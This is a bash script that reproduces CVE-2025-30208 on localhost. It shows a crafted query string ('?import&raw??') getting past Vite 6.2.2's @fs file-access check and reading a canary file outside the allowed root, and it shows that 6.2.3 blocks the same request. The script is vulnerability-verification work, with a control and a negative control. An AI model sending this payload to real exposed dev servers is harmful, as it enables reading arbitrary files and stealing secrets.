#!/bin/bash
#
# CVE-2025-30208 - Vite dev server @fs access control bypass via crafted query strings
#
# The Vite dev server's @fs handler denies files outside server.fs.allow when
# server.fs.strict is on. In vulnerable versions the transformMiddleware guard
#   if ((rawRE.test(url) || urlRE.test(url)) && !ensureServingAccess(url, ...)) return
# is SKIPPED when the URL ends with extra query separators (e.g. "?import&raw??"),
# because rawRE = /(\?|&)raw(?:&|$)/ requires "raw" to be followed by "&" or
# end-of-string. The trailing "??" makes rawRE.test() false, so ensureServingAccess
# never runs. Meanwhile isImportRequest() still matches "?import&", so the request
# enters the transform block and the file is served WITHOUT any access check.
#
# This script:
#   1. Builds a minimal Vite project with server.fs strict + allow=[project root].
#   2. Runs the VULNERABLE vite@6.2.2 dev server (exposed via host:true).
#      - Normal  /@fs/<secret>              -> 403 (outside allow list)  [control]
#      - Crafted /@fs/<secret>?import&raw?? -> 200 + secret leaked       [bypass]
#   3. Runs the FIXED vite@6.2.3 dev server.
#      - Crafted /@fs/<secret>?import&raw?? -> 403 (no leak)             [negative ctrl]
#   4. Writes runtime evidence + manifest and exits 0 only when the bypass is
#      confirmed on the vulnerable build AND blocked on the fixed build.
#
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART/http"

cd "$ROOT"

# ---------------------------------------------------------------------------
# Helpers (defined first so they are available everywhere below)
# ---------------------------------------------------------------------------
log() { echo "[*] $*"; }

# curl_httpc <url> <outfile>  -> prints HTTP status code (000 on connection failure)
curl_httpc() {
  local url=$1 out=$2 code
  code=$(curl -s -g -o "$out" -w "%{http_code}" --max-time 10 "$url" 2>/dev/null || true)
  echo "${code:-000}"
}

port_in_use() {
  if command -v ss >/dev/null 2>&1; then
    ss -ltn 2>/dev/null | grep -q ":${PORT} " && return 0 || return 1
  fi
  local code
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 1 "http://localhost:${PORT}/" 2>/dev/null || true)
  [ "${code:-000}" != "000" ]
}

cleanup_port() {
  if port_in_use; then
    log "WARNING: port $PORT busy before start; cleaning up"
    local pids p
    pids=$(ss -ltnp 2>/dev/null | grep ":${PORT} " | grep -oP 'pid=\K[0-9]+' || true)
    for p in $pids; do kill -9 "$p" 2>/dev/null || true; done
    sleep 2
  fi
}

wait_for_server() {
  local logf=$1 waited=0 code
  while [ "$waited" -lt 45 ]; do
    code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "http://localhost:${PORT}/" 2>/dev/null || true)
    if [ "${code:-000}" != "000" ]; then
      log "Server ready (root HTTP ${code}) after ${waited}s"
      return 0
    fi
    sleep 1
    waited=$((waited + 1))
  done
  log "ERROR: server did not become ready. Log tail:"
  tail -n 30 "$logf" 2>/dev/null || true
  return 1
}

stop_server() {
  local pid=$1 waited=0
  log "Stopping server pid=$pid"
  kill "$pid" 2>/dev/null || true
  pkill -P "$pid" 2>/dev/null || true
  while [ "$waited" -lt 20 ]; do
    if ! port_in_use; then return 0; fi
    sleep 0.5
    waited=$((waited + 1))
  done
  kill -9 "$pid" 2>/dev/null || true
  pkill -9 -P "$pid" 2>/dev/null || true
  sleep 1
}

create_project() {
  local dir=$1 ver=$2
  log "Creating project at $dir (vite@$ver)"
  mkdir -p "$dir/src"
  cat > "$dir/package.json" <<JSON
{
  "name": "vite-cve-2025-30208-repro",
  "private": true,
  "type": "module",
  "scripts": { "dev": "vite" },
  "devDependencies": { "vite": "${ver}" }
}
JSON
  cat > "$dir/vite.config.js" <<'JS'
import { defineConfig } from 'vite'
// Strict FS serving: only the project root is allowed. Anything outside
// (e.g. /tmp/secret) must be denied by the @fs access control.
export default defineConfig({
  server: {
    host: true,          // expose to network (the impacted configuration)
    port: 5173,
    strictPort: true,
    fs: { strict: true, allow: [process.cwd()] },
  },
})
JS
  cat > "$dir/index.html" <<'HTML'
<!DOCTYPE html>
<html>
  <head><meta charset="utf-8"><title>vite repro</title></head>
  <body>
    <h1>CVE-2025-30208 repro</h1>
    <script type="module" src="/src/main.js"></script>
  </body>
</html>
HTML
  echo 'console.log("vite cve-2025-30208 repro")' > "$dir/src/main.js"
}

install_project() {
  local dir=$1
  log "Installing dependencies in $dir"
  (cd "$dir" && npm install --no-audit --no-fund 2>&1) | tail -n 5
  (cd "$dir" && node ./node_modules/vite/bin/vite.js --version)
}

# ---------------------------------------------------------------------------
# Resolve project cache directory (durable volume) from project_cache_context.json
# ---------------------------------------------------------------------------
BASE="$ART"
CDIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
  CDIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
  if [ "$PREPARED" = "true" ] && [ -n "$CDIR" ] && [ -d "$CDIR" ]; then
    BASE="$CDIR"
  fi
fi
mkdir -p "$BASE"
log "Using base directory: $BASE"

# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
VULN_VER="6.2.2"     # vulnerable (>= 6.2.0 < 6.2.3)
FIXED_VER="6.2.3"    # patched
VULN_PROJ="$BASE/vite-repro-vuln"
FIXED_PROJ="$BASE/vite-repro-fixed"
PORT=5173
SECRET_TOKEN="TOP_SECRET_VITE_BYPASS_TOKEN_${RANDOM}_CANARY"
SECRET_FILE="/tmp/pruva_vite_secret_${RANDOM}.txt"
SECRET_URL_PATH="/@fs${SECRET_FILE}"   # /@fs/tmp/pruva_vite_secret_XXXX.txt

VULN_NORMAL_CODE="000"
VULN_CRAFTED_CODE="000"
FIXED_CRAFTED_CODE="000"
VULN_LEAKED=0
FIXED_LEAKED=0

# ---------------------------------------------------------------------------
# Create the out-of-root secret file (attacker target)
# ---------------------------------------------------------------------------
log "Creating secret file: $SECRET_FILE"
echo "$SECRET_TOKEN" > "$SECRET_FILE"
chmod 644 "$SECRET_FILE"
log "Secret token: $SECRET_TOKEN"
log "Secret @fs URL path: $SECRET_URL_PATH"

# ---------------------------------------------------------------------------
# 1) VULNERABLE build (vite@6.2.2)
# ---------------------------------------------------------------------------
log "===== VULNERABLE build: vite@$VULN_VER ====="
create_project "$VULN_PROJ" "$VULN_VER"
install_project "$VULN_PROJ"

cleanup_port
: > "$LOGS/vuln_server.log"
# `exec node` replaces the subshell with the node process so $! is the node PID
# and killing it reliably terminates the dev server.
( cd "$VULN_PROJ" && exec node ./node_modules/vite/bin/vite.js ) > "$LOGS/vuln_server.log" 2>&1 &
VULN_PID=$!
log "Vulnerable server pid=$VULN_PID"
if ! wait_for_server "$LOGS/vuln_server.log"; then
  stop_server "$VULN_PID" || true
  echo "VULNERABLE server failed to start" | tee "$LOGS/result.txt"
  exit 1
fi

# Normal request -> expect 403 (outside allow list)
log "VULN normal request: $SECRET_URL_PATH"
VULN_NORMAL_CODE=$(curl_httpc "http://localhost:${PORT}${SECRET_URL_PATH}" "$ART/http/vuln_normal_resp.txt")
log "VULN normal status: $VULN_NORMAL_CODE"

# Crafted request -> expect 200 + secret leak (bypass)
log "VULN crafted request: ${SECRET_URL_PATH}?import&raw??"
VULN_CRAFTED_CODE=$(curl_httpc "http://localhost:${PORT}${SECRET_URL_PATH}?import&raw??" "$ART/http/vuln_crafted_resp.txt")
log "VULN crafted status: $VULN_CRAFTED_CODE"
if grep -q "$SECRET_TOKEN" "$ART/http/vuln_crafted_resp.txt" 2>/dev/null; then
  VULN_LEAKED=1
  log "VULN LEAK CONFIRMED: secret token present in crafted response body"
else
  log "VULN: secret token NOT present in crafted response body"
fi

stop_server "$VULN_PID"

# ---------------------------------------------------------------------------
# 2) FIXED build (vite@6.2.3) - negative control
# ---------------------------------------------------------------------------
log "===== FIXED build: vite@$FIXED_VER ====="
create_project "$FIXED_PROJ" "$FIXED_VER"
install_project "$FIXED_PROJ"

cleanup_port
: > "$LOGS/fixed_server.log"
( cd "$FIXED_PROJ" && exec node ./node_modules/vite/bin/vite.js ) > "$LOGS/fixed_server.log" 2>&1 &
FIXED_PID=$!
log "Fixed server pid=$FIXED_PID"
if ! wait_for_server "$LOGS/fixed_server.log"; then
  stop_server "$FIXED_PID" || true
  echo "FIXED server failed to start" | tee -a "$LOGS/result.txt"
  exit 1
fi

log "FIXED crafted request: ${SECRET_URL_PATH}?import&raw??"
FIXED_CRAFTED_CODE=$(curl_httpc "http://localhost:${PORT}${SECRET_URL_PATH}?import&raw??" "$ART/http/fixed_crafted_resp.txt")
log "FIXED crafted status: $FIXED_CRAFTED_CODE"
if grep -q "$SECRET_TOKEN" "$ART/http/fixed_crafted_resp.txt" 2>/dev/null; then
  FIXED_LEAKED=1
  log "FIXED: secret token present (UNEXPECTED - patch did not block!)"
else
  log "FIXED: secret token NOT present (patch blocked the bypass)"
fi

stop_server "$FIXED_PID"

# ---------------------------------------------------------------------------
# 3) Verdict
# ---------------------------------------------------------------------------
log "===== RESULT ====="
log "vuln_normal=$VULN_NORMAL_CODE (expect 403)"
log "vuln_crafted=$VULN_CRAFTED_CODE leaked=$VULN_LEAKED (expect 200, leaked=1)"
log "fixed_crafted=$FIXED_CRAFTED_CODE leaked=$FIXED_LEAKED (expect 403, leaked=0)"

CONFIRMED=0
if [ "$VULN_NORMAL_CODE" = "403" ] && [ "$VULN_CRAFTED_CODE" = "200" ] && [ "$VULN_LEAKED" = "1" ] \
   && [ "$FIXED_CRAFTED_CODE" = "403" ] && [ "$FIXED_LEAKED" = "0" ]; then
  CONFIRMED=1
  log "VERDICT: CONFIRMED - @fs access control bypassed on vite@$VULN_VER, blocked on vite@$FIXED_VER"
else
  log "VERDICT: NOT reproduced as expected"
fi

{
  echo "CVE-2025-30208 reproduction result"
  echo "vulnerable_version=vite@$VULN_VER fixed_version=vite@$FIXED_VER"
  echo "secret_file=$SECRET_FILE secret_url_path=$SECRET_URL_PATH"
  echo "vuln_normal_status=$VULN_NORMAL_CODE"
  echo "vuln_crafted_status=$VULN_CRAFTED_CODE vuln_leaked=$VULN_LEAKED"
  echo "fixed_crafted_status=$FIXED_CRAFTED_CODE fixed_leaked=$FIXED_LEAKED"
  echo "confirmed=$CONFIRMED"
} | tee "$LOGS/result.txt"

# ---------------------------------------------------------------------------
# 4) Runtime manifest (strict JSON via jq)
# ---------------------------------------------------------------------------
jq -n \
  --arg entrypoint "converter_document" \
  --arg detail "Vite dev server @fs file->module/raw converter endpoint (HTTP), exposed via host:true" \
  --argjson service_started true \
  --argjson healthcheck true \
  --argjson target true \
  --argjson confirmed "$CONFIRMED" \
  --arg vuln_normal "$VULN_NORMAL_CODE" \
  --arg vuln_crafted "$VULN_CRAFTED_CODE" \
  --arg fixed_crafted "$FIXED_CRAFTED_CODE" \
  --argjson vuln_leaked "$VULN_LEAKED" \
  --argjson fixed_leaked "$FIXED_LEAKED" \
  --arg secret "$SECRET_TOKEN" \
  '{
    entrypoint_kind: $entrypoint,
    entrypoint_detail: $detail,
    service_started: $service_started,
    healthcheck_passed: $healthcheck,
    target_path_reached: $target,
    runtime_stack: ["node", "vite-dev-server"],
    proof_artifacts: [
      "logs/vuln_server.log",
      "logs/fixed_server.log",
      "logs/result.txt",
      "artifacts/http/vuln_normal_resp.txt",
      "artifacts/http/vuln_crafted_resp.txt",
      "artifacts/http/fixed_crafted_resp.txt"
    ],
    evidence: {
      vuln_version: "vite@6.2.2",
      fixed_version: "vite@6.2.3",
      vuln_normal_status: $vuln_normal,
      vuln_crafted_status: $vuln_crafted,
      fixed_crafted_status: $fixed_crafted,
      vuln_secret_leaked: $vuln_leaked == 1,
      fixed_secret_leaked: $fixed_leaked == 1,
      secret_token_substring: $secret
    },
    notes: "Vulnerable vite@6.2.2 returns 200 with secret content for /@fs/<file>?import&raw?? while the normal request is 403; fixed vite@6.2.3 returns 403 for the same crafted request."
  }' > "$REPRO_DIR/runtime_manifest.json"

log "Runtime manifest written: $REPRO_DIR/runtime_manifest.json"

# Best-effort proof-carry copy into the durable project cache (reference only).
if [ -n "${CDIR:-}" ] && [ -d "$CDIR" ]; then
  PC="$CDIR/.pruva/proof-carry/latest_attempt"
  mkdir -p "$PC"
  cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC/" 2>/dev/null || true
  cp -f "$REPRO_DIR/runtime_manifest.json" "$PC/" 2>/dev/null || true
  cp -f "$LOGS/result.txt" "$PC/" 2>/dev/null || true
fi

if [ "$CONFIRMED" = "1" ]; then
  log "SUCCESS: CVE-2025-30208 reproduced"
  exit 0
else
  log "FAILURE: issue not reproduced"
  exit 1
fi
